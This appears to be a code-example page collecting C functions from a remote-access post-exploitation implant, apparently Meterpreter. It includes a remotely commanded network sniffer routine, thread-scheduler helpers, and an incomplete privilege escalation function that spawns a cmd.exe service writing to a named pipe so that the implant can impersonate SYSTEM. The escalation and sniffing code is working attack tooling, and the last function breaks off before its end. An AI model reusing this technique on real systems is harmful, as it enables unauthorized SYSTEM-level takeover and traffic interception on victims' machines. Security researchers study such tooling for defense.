예제 #1
0
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	CaptureJob *j;
	DWORD result;

	check_pssdk();
	dprintf("sniffer>> stop_capture()");

	ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
	dprintf("sniffer>> stop_capture(0x%.8x)", ifid);

	result = ERROR_SUCCESS;

	do
	{
		// the interface is invalid
		if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		j = &open_captures[ifid];

		// the interface is not being captured
#ifdef _WIN32
		if (!j->adp)
#else
		if (!j->pcap)
#endif
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		lock_acquire(snifferm);

		j->active = 0;
#ifdef _WIN32
		AdpSetMacFilter(j->adp, 0);
		AdpCloseAdapter(j->adp);
		AdpDestroy(j->adp);
#else
		thread_sigterm(j->thread);
		thread_join(j->thread);		// should take less than 1 second :p
#endif

		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);

		lock_release(snifferm);

		dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
	} while (0);

	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
예제 #2
0
/*
 * Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
 * this function blocks untill all waitable threads have terminated.
 */
DWORD scheduler_destroy( VOID )
{
	DWORD result    = ERROR_SUCCESS;
	DWORD index     = 0;
	DWORD count     = 0;
	LIST * jlist    = list_create();
	THREAD * thread = NULL;

	dprintf( "[SCHEDULER] entering scheduler_destroy." );

	lock_acquire( schedulerThreadList->lock );

	count = list_count( schedulerThreadList );

	for( index=0 ; index < count ; index++ )
	{
		thread = (THREAD *)list_get( schedulerThreadList, index );
		if( thread == NULL )
			continue;
		
		list_push( jlist, thread );

		thread_sigterm( thread );
	}

	lock_release( schedulerThreadList->lock );

	dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );

	while( TRUE )
	{
		dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
		
		thread = (THREAD *)list_pop( jlist );
		if( thread == NULL )
			break;

		dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );

		thread_join( thread );
	}

	dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );

	list_destroy( jlist );
	
	list_destroy( schedulerThreadList );

	schedulerThreadList = NULL;

	dprintf( "[SCHEDULER] leaving scheduler_destroy." );

	return result;
}
예제 #3
0
/*
 * Remove a waitable object by signaling the waitable thread to terminate.
 */
DWORD scheduler_remove_waitable( HANDLE waitable )
{
	DWORD index           = 0;
	DWORD count           = 0;
	THREAD * thread       = NULL;
	WaitableEntry * entry = NULL;
	DWORD result          = ERROR_SUCCESS;

	dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );

	if( schedulerThreadList == NULL || waitable == NULL )
		return ERROR_INVALID_HANDLE;

	lock_acquire( schedulerThreadList->lock );

	count = list_count( schedulerThreadList );

	for( index=0 ; index < count ; index++ )
	{
		thread = (THREAD *)list_get( schedulerThreadList, index );
		if( thread == NULL )
			continue;
	
		entry = (WaitableEntry *)thread->parameter1;
		if( entry == NULL )
			continue;

		if( entry->waitable == waitable )
		{
			dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
			thread_sigterm( thread );
			result = ERROR_SUCCESS;
			break;
		}
	}

	lock_release( schedulerThreadList->lock );

	dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );

	return result;
}
예제 #4
0
/*
 * Signal a waitable object.
 */
DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal )
{
	DWORD index           = 0;
	DWORD count           = 0;
	THREAD * thread       = NULL;
	WaitableEntry * entry = NULL;
	DWORD result          = ERROR_NOT_FOUND;

	dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable );

	if( schedulerThreadList == NULL || !waitable )
		return ERROR_INVALID_HANDLE;

	lock_acquire( schedulerThreadList->lock );

	count = list_count( schedulerThreadList );

	for( index=0 ; index < count ; index++ )
	{
		thread = (THREAD *)list_get( schedulerThreadList, index );
		if( thread == NULL )
			continue;

		entry = (WaitableEntry *)thread->parameter1;
		if( entry == NULL )
			continue;

		if( entry->waitable == waitable )
		{
			dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
			if( signal == Pause )
			{
				if( entry->running ) {
					dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle );
					event_signal( entry->pause );
				} else {
					dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
				}
			}
			else
			{
				if( !entry->running ) {
					dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle );
					event_signal( entry->resume );
				}

				if( signal == Stop ) {
					dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle );
					thread_sigterm( thread );
				} else {
					dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread );
				}
			}

			result = ERROR_SUCCESS;
			break;
		}
	}

	lock_release( schedulerThreadList->lock );

	dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" );

	return result;
}
예제 #5
0
/*
 * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local
 * system which then connects to our named pipe and we impersonate this client. This can be done by an
 * Administrator without the need for SeDebugPrivilege.  Works on 2000, XP, 2003 and 2008 for all local
 * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC
 * first. Does not work on NT4.
 */
DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
{
	DWORD dwResult              = ERROR_SUCCESS;
	char * cpServiceName        = NULL;
	THREAD * pThread            = NULL;
	HANDLE hSem                 = NULL;
	char cServiceArgs[MAX_PATH] = {0};
	char cServicePipe[MAX_PATH] = {0};
	OSVERSIONINFO os            = {0};

	do {
		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

		if (!GetVersionEx(&os)) {
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed")
		}

		// filter out Windows NT4
		if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
			SetLastError(ERROR_ACCESS_DENIED);
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
		}

		cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
		if (!cpServiceName) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments",
				ERROR_BAD_ARGUMENTS);
		}

		_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH,
			"\\\\.\\pipe\\%s", cpServiceName);

		_snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH,
			"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);

		hSem = CreateSemaphore(NULL, 0, 1, NULL);
		pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
		if (!pThread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed",
				ERROR_INVALID_HANDLE);
		}

		if (!thread_run(pThread)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed",
				ERROR_ACCESS_DENIED);
		}

		//wait for the thread to create the pipe(if it times out terminate)
                if (hSem) {
		        if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
			        BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
					ERROR_ACCESS_DENIED);
			}
                } else {
                        Sleep(500);
		}

		// start the elevator service (if it doesnt start first time we need to create it and then start it).
		if (service_start(cpServiceName) != ERROR_SUCCESS) {
			dprintf("[ELEVATE] service starting failed, attempting to create");
			if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
				BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
			}
			dprintf("[ELEVATE] creation of service succeeded, attempting to start");
			// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
			// a valid service and it will never signal to the service manager that is is a running service.
			service_start(cpServiceName);
		}

		// signal our thread to terminate if it is still running
		thread_sigterm(pThread);

		// and wait for it to terminate...
		thread_join(pThread);

		// get the exit code for our pthread
		dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
		if (!GetExitCodeThread(pThread->handle, &dwResult)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
				ERROR_INVALID_HANDLE);
		}
		dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);

	} while (0);